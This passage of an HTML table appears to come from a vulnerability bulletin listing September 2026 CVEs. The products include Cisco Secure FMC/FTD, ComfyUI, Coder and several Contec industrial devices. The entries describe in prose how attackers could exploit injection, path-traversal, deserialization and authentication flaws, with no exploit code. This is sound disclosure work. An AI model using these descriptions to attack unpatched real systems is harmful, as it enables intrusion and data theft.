&lt;td&gt;A vulnerability in the sftunnel inter-device communication protocol of Cisco Secure FMC Software and Cisco Secure FTD Software could allow an unauthenticated, adjacent attacker to impersonate the peer device and obtain access at the level of the&amp;amp;nbsp;manager role, which is equivalent to root. This vulnerability is due to improper management of the TLS certificate for the sftunnel management connection. An attacker could exploit this vulnerability by connecting to the sftunnel port using a crafted TLS certificate. A successful exploit could allow the attacker to become a registered sftunnel peer with root access. Note: The attack is successful only if the sftunnel connection is down or the attack can disrupt the sftunnel connection long enough to execute the attack.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20323&quot; target=&quot;_blank&quot;&gt;CVE-2026-20323&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Secure FMC Software could allow an authenticated, remote attacker to execute arbitrary commands at the&amp;amp;nbsp;root privilege level. This vulnerability is due to unsecured deserialization of web-management user-controlled data. An attacker could exploit this vulnerability by authenticating to the device and sending a crafted HTTP payload. A successful exploit could allow the attacker to save the crafted payload and then execute it on the underlying operating system as root. To exploit this vulnerability, the attacker must have valid credentials for a user account with at least the role of Security Analyst (read-only).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20340&quot; target=&quot;_blank&quot;&gt;CVE-2026-20340&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the web-based management interface of Cisco Secure FMC Software could allow an authenticated, remote attacker to perform a SQL injection attack against an affected device. To exploit this vulnerability, the attacker must have a valid account on the device with the role of Security Approver, Access Admin, or Network Admin. This vulnerability is due to insufficient validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain any data from the database, obtain the session credentials of an authenticated Administrator, and take actions with administrative privileges on the affected device.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20344&quot; target=&quot;_blank&quot;&gt;CVE-2026-20344&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in the remote diagnostics debugger of Cisco Secure FMC Software could allow an authenticated, remote attacker to enable the remote diagnostics debugger service. This vulnerability is due to an error when checking the privilege level of a user who is invoking remote diagnostics. An attacker could exploit this vulnerability by authenticating to the device, either through the web-based management interface or the REST API, and using the remote diagnostics debugger to grant a user elevated privileges. A successful exploit could allow the attacker to elevate privileges to root. Notes: To exploit this vulnerability, the attacker must have valid user credentials on the affected device. The CVSSv3.1 Attack Complexity is High due to the multistage process required to fully exploit this vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76412&quot; target=&quot;_blank&quot;&gt;CVE-2026-76412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in Cisco Adaptive Security Device Manager (ASDM) single sign-on (SSO) handler for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to log in as the Cisco ASDM administrator user. This vulnerability is due to improper management of the Cisco ASDM SSO token. An attacker could exploit this vulnerability by performing session token forgery techniques. A successful exploit could allow the attacker to log in as the administrator user and, by repeating this action, keep legitimate administrators locked out of the ASDM indefinitely.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76413&quot; target=&quot;_blank&quot;&gt;CVE-2026-76413&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in a specific file download API of Cisco Secure FMC Software could allow an authenticated, remote attacker to download arbitrary files from an affected system. This vulnerability exists because user input is not being sanitized. An attacker could exploit this vulnerability by sending a crafted HTTPS request. A successful exploit could allow the attacker to download arbitrary files from the affected system. To exploit this vulnerability, the attacker must have valid credentials for a user account with at least the role of Security Analyst (read-only).&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20342&quot; target=&quot;_blank&quot;&gt;CVE-2026-20342&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Management Center (FMC)&lt;/td&gt;
&lt;td&gt;A vulnerability in a critical API for Cisco Secure FMC Software could allow an unauthenticated, remote attacker to download sensitive files and use unbounded disk space. This vulnerability exists because a critical API lacks authentication.&amp;amp;nbsp;An attacker could exploit this vulnerability by repeatedly invoking the API. A successful exploit could allow the attacker to download sensitive files that should be restricted and consume disk space so the device could become unresponsive, causing a DoS condition.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20343&quot; target=&quot;_blank&quot;&gt;CVE-2026-20343&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cisco--Cisco Secure Firewall Threat Defense (FTD) Software&lt;/td&gt;
&lt;td&gt;A vulnerability in the TLS 1.3 implementation in Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause an affected device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to improper buffer management during the TLS 1.3 connection. An attacker could exploit this vulnerability by sending a crafted TLS 1.3 packet to an affected system through a TLS 1.3-enabled listening socket. A successful exploit could allow the attacker to cause the LINA process to crash, which would cause the device to reload. The reload can happen before or after authentication of the connection.Note:&amp;amp;nbsp;TLS 1.3 connections include both data traffic and user-management traffic.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20135&quot; target=&quot;_blank&quot;&gt;CVE-2026-20135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cjbi--admin3&lt;/td&gt;
&lt;td&gt;admin3 through 3.0.0 persists user session tokens in the audit log event body when publishing UserLoggedIn domain events. Attackers with log:view permission can read the JSON response from the GET /logs endpoint to harvest session tokens and replay them as bearer credentials for full user access.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92918&quot; target=&quot;_blank&quot;&gt;CVE-2026-92918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cjbi--admin3&lt;/td&gt;
&lt;td&gt;admin3 through 3.0.0 fails to sanitize client-supplied filenames in the upload handler, allowing authenticated users to write files outside the storage root on Windows deployments. Attackers can use dot-dot path segments in filenames to escape the configured storage directory and overwrite arbitrary files accessible to the server process.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92919&quot; target=&quot;_blank&quot;&gt;CVE-2026-92919&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;cobbr--Covenant&lt;/td&gt;
&lt;td&gt;Covenant through 0.6 registers the CovenantHub SignalR hub without an Authorize attribute, allowing unauthenticated callers to invoke CreateHttpListener and receive a signed JWT token. Attackers can use the obtained token to authenticate against the entire operator API and access grunts, credentials, binaries, events, and the operator roster.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92717&quot; target=&quot;_blank&quot;&gt;CVE-2026-92717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Internship Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in code-projects Internship Management System 1.0. Affected by this issue is some unknown functionality of the file /login.php. Such manipulation of the argument Password leads to sql injection. The attack can be executed remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93978&quot; target=&quot;_blank&quot;&gt;CVE-2026-93978&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Internship Management System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in code-projects Internship Management System 1.0. This affects an unknown part of the file /employer/login.php. Performing a manipulation of the argument Password results in sql injection. The attack is possible to be carried out remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93979&quot; target=&quot;_blank&quot;&gt;CVE-2026-93979&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Internship Management System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in code-projects Internship Management System 1.0. This vulnerability affects unknown code of the file /admin/login.php of the component Admin Login Form. Executing a manipulation of the argument Password can lead to sql injection. The attack may be performed from remote. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93980&quot; target=&quot;_blank&quot;&gt;CVE-2026-93980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Matrimonial System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in code-projects Matrimonial System 1.0. This affects an unknown part of the file /search.php of the component Regular Search. This manipulation of the argument sex/mothertongue/maritialstatus/country/state/religion/agemin/agemax causes sql injection. The attack can be initiated remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92366&quot; target=&quot;_blank&quot;&gt;CVE-2026-92366&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;code-projects--Matrimonial System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in code-projects Matrimonial System 1.0. This vulnerability affects the function writepartnerprefs of the file /partner_preference.php. Such manipulation of the argument education leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92926&quot; target=&quot;_blank&quot;&gt;CVE-2026-92926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CODEPRESS IT Solutions LLC--Visitor Traffic Real Time Statistics Pro&lt;/td&gt;
&lt;td&gt;Unauthenticated Cross Site Scripting (XSS) in Visitor Traffic Real Time Statistics Pro &amp;lt;= 11.21 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90986&quot; target=&quot;_blank&quot;&gt;CVE-2026-90986&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;coder--coder&lt;/td&gt;
&lt;td&gt;Coder allows organizations to provision remote development environments via Terraform. Prior to 2.29.19, 2.32.9, 2.33.10, and 2.34.4, agentConn.apiClient() follows redirects while its custom transport accepts the host from the redirected request URL when the port is the workspace agent HTTP API port 4. An authenticated user who controls a modified workspace agent and knows another online agent&#039;s UUID can derive the victim&#039;s tailnet address and redirect control-plane requests to that agent. HTTP 301, 302, and 303 redirects can redirect read requests, while HTTP 307 and 308 preserve replayable write and process-start requests. The redirected workspace agent file APIs can read or write files as the victim workspace user, and affected versions exposing the workspace agent process API can execute commands after a redirected file write, crossing workspace and tenant boundaries. This issue is fixed in versions 2.29.19, 2.32.9, 2.33.10, and 2.34.4.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63443&quot; target=&quot;_blank&quot;&gt;CVE-2026-63443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cohesity--NetBackup Flex OS&lt;/td&gt;
&lt;td&gt;An authenticated, low-privileged user with access to the NetBackup Flex OS management shell could supply a specially crafted input to a privileged administrative command, causing it to execute arbitrary code with root-level permissions. Successful exploitation grants the attacker unrestricted control over the Flex appliance host and all hosted containers, fully compromising confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28197&quot; target=&quot;_blank&quot;&gt;CVE-2026-28197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cohesity--NetBackup Flex OS&lt;/td&gt;
&lt;td&gt;An authenticated, low-privileged user with access to the NetBackup Flex OS management shell could bypass the cryptographic signature verification step of a privileged support command by supplying a specially formed access credential. Successful exploitation grants the attacker an unrestricted root shell with full control over the Flex appliance host and all hosted containers, completely compromising confidentiality, integrity, and availability.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28198&quot; target=&quot;_blank&quot;&gt;CVE-2026-28198&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Comfast--CF-N1-S&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Comfast CF-N1-S 2.6.0.1. Impacted is the function get_css_path_from_uri of the file /cgi-bin/mbox-config of the component Web Management Interface. The manipulation leads to stack-based buffer overflow. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94003&quot; target=&quot;_blank&quot;&gt;CVE-2026-94003&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Comfy-Org--ComfyUI&lt;/td&gt;
&lt;td&gt;ComfyUI before 0.30.0 fails to sanitize folder_name input in dataset save nodes, allowing attackers to write files to arbitrary paths outside the output directory. Attackers can load a crafted workflow that writes attacker-controlled content to arbitrary locations, enabling code execution through modified startup files or package initializers.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92816&quot; target=&quot;_blank&quot;&gt;CVE-2026-92816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;complianz--Complianz GDPR/CCPA Cookie Consent Banner&lt;/td&gt;
&lt;td&gt;The Complianz GDPR/CCPA Cookie Consent Banner plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Comment Content via Elementor Cookie Blocker Regex in all versions up to, and including, 7.5.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires an administrator to approve the attacker&#039;s comment, and the site must have both the Elementor plugin installed and Complianz configured with the Twitter or Facebook cookie/script blocker enabled.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83561&quot; target=&quot;_blank&quot;&gt;CVE-2026-83561&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;concretecms-community-store--community_store&lt;/td&gt;
&lt;td&gt;Concrete CMS Community Store before 2.7.8 renders customer-supplied order fields without HTML escaping in checkout and admin views. Unauthenticated attackers can store script payloads in billing name, email, or phone fields that execute in authenticated manager sessions to create rogue accounts or exfiltrate data.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93659&quot; target=&quot;_blank&quot;&gt;CVE-2026-93659&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;confetti--yayson&lt;/td&gt;
&lt;td&gt;Yayson is a library for serializing and reading JSON API data in JavaScript. Prior to 4.3.0, Store and LegacyStore use attacker-controlled JSON:API type, id, and relationship names as keys in plain-object lookup tables in src/yayson/store.ts and src/yayson/legacy-store.ts. A document whose type is __proto__ causes model-cache writes to modify Object.prototype, with the attacker controlling the polluted property name through id and its value through attributes. The malicious type can also be supplied by an included resource, and LegacyStore is reachable when a configured types mapping resolves to __proto__. Unsafe relationship names including __proto__, constructor, and prototype provide additional document-derived member paths. The resulting process-wide prototype pollution can cause denial of service and logic corruption; authorization bypass or code execution depends on suitable gadgets in the consuming application. This issue is fixed in version 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61534&quot; target=&quot;_blank&quot;&gt;CVE-2026-61534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd--CPS-TM341G5MB-ADSC1-931&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in CONPROSYS TM Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82779&quot; target=&quot;_blank&quot;&gt;CVE-2026-82779&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd--CPS-TM341G5MB-ADSC1-931&lt;/td&gt;
&lt;td&gt;Unrestricted upload of file with dangerous type issue exists in CONPROSYS TM Series. If a specially crafted file is uploaded by a remote authenticated attacker, an arbitrary command may be executed on the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82780&quot; target=&quot;_blank&quot;&gt;CVE-2026-82780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--CAN-2-WF&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82791&quot; target=&quot;_blank&quot;&gt;CVE-2026-82791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--CAN-2-WF&lt;/td&gt;
&lt;td&gt;Unrestricted upload of file with dangerous type issue exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If a specially crafted file is uploaded by a remote authenticated attacker, arbitrary code may be executed on the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82793&quot; target=&quot;_blank&quot;&gt;CVE-2026-82793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--CPSL-08P1EN&lt;/td&gt;
&lt;td&gt;Missing authentication for critical function vulnerability exists in CPSL-08P1EN. If this vulnerability is exploited, an affected product may be operated by a remote attacker without authentication.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82787&quot; target=&quot;_blank&quot;&gt;CVE-2026-82787&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--ECE1000&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerability exists in Contec EC1000 series. If a remote attacker sends a specially crafted request to the product&#039;s web service, an arbitrary program may be executed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82772&quot; target=&quot;_blank&quot;&gt;CVE-2026-82772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--FXA5000&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82762&quot; target=&quot;_blank&quot;&gt;CVE-2026-82762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--FXA5000&lt;/td&gt;
&lt;td&gt;Path traversal vulnerability exists in Contec FX5000 series, FX4000 series, and FX3000 series. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82765&quot; target=&quot;_blank&quot;&gt;CVE-2026-82765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--Integrated Type CPS-PC341[][]-*-9201&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in CONPROSYS PAC Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82777&quot; target=&quot;_blank&quot;&gt;CVE-2026-82777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--M2M Gateway Integrated Type CPS-MG341*&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in CONPROSYS M2M Gateway Series and CONPROSYS M2M Controller Series. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82774&quot; target=&quot;_blank&quot;&gt;CVE-2026-82774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--RP-WAH-SR1&lt;/td&gt;
&lt;td&gt;Buffer overflow vulnerability exists in Contec RP-WAH-SR Series. If a remote attacker sends a specially crafted request to the product&#039;s web service, an arbitrary program may be executed.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82770&quot; target=&quot;_blank&quot;&gt;CVE-2026-82770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SGA1000&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in an OS command (&#039;OS Command Injection&#039;) issue exists in SGA1000. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82766&quot; target=&quot;_blank&quot;&gt;CVE-2026-82766&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SGA1000&lt;/td&gt;
&lt;td&gt;Path traversal vulnerability exists in SGA1000. If this vulnerability is exploited, arbitrary files on the server may be viewed and/or altered by an attacker who can access the product via FTP.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82768&quot; target=&quot;_blank&quot;&gt;CVE-2026-82768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec Co., Ltd.--SV-CPT-MC310&lt;/td&gt;
&lt;td&gt;SolarView Compact contains an OS command Injection vulnerability in in Schedule Settings. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82794&quot; target=&quot;_blank&quot;&gt;CVE-2026-82794&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contec--CONPROSYS HMI System(CHS)&lt;/td&gt;
&lt;td&gt;An improper neutralization of directives in dynamically evaluated code (&#039;Eval Injection&#039;) issue exists in CONPROSYS HMI System(CHS). If exploited, arbitrary code may be executed by an attacker who can log in to the product.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
